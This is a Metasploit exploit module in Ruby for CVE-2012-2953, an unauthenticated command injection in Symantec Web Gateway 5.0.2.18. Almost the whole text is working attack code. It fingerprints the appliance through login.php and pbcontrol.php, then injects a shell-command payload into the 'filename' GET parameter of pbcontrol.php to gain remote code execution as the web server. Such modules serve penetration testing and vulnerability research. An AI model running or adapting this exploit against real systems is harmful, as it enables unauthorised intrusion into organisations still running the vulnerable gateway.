Symantec Web Gateway 5.0.2.18 – ‘pbcontrol.php’ Command Injection (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # Framework web site for more information on licensing and terms of use. # http://metasploit.com/framework/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::HttpClient def initialize(info={}) super(update_info(info, 'Name' => "Symantec Web Gateway 5.0.2.18 pbcontrol.php Command Injection", 'Description' => %q{ This module exploits a command injection vulnerability found in Symantec Web Gateway's HTTP service. While handling the filename parameter, the Spywall API does not do any filtering before passing it to an exec() call in proxy_file(), thus results in remote code execution under the context of the web server. Please note authentication is NOT needed to gain access. }, 'License' => MSF_LICENSE, 'Author' => [ 'muts', # Original discovery 'sinn3r' # Metasploit ], 'References' => [ [ 'CVE', '2012-2953' ], [ 'BID', '54426' ], [ 'EDB', '20088' ], [ 'URL', 'http://www.symantec.com/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&year=2012&suid=20120720_00'] ], 'Payload' => { #'BadChars' => "\x00\x0d\x0a", 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic perl bash telnet' } }, 'Platform' => ['unix'], 'Arch' => ARCH_CMD, 'Targets' => [ ['Symantec Web Gateway 5.0.2.18', {}] ], 'Privileged' => false, 'DisclosureDate' => "Jul 23 2012", 'DefaultTarget' => 0)) register_options( [ OptString.new('TARGETURI', [true, 'The URI path to pbcontrol', '/spywall/pbcontrol.php']) ], self.class) end def check dir = File.dirname(target_uri.path) res1 = send_request_raw({'uri' => "#{dir}/login.php"}) res2 = send_request_raw({'uri' => "#{dir}/pbcontrol.php"}) if res1 and res2 if res1.body =~ /\<title\>Symantec Web Gateway\<\/title\>/ and res2.body =~ /^0$/ return Exploit::CheckCode::Detected end end return Exploit::CheckCode::Safe end def exploit send_request_cgi({ 'uri' => target_uri.path, 'method' => 'GET', 'vars_get' => { 'filename' => "#{Rex::Text.rand_text_alpha(4)}\";#{payload.encoded};\"", 'stage' => '0' } }) handler end end |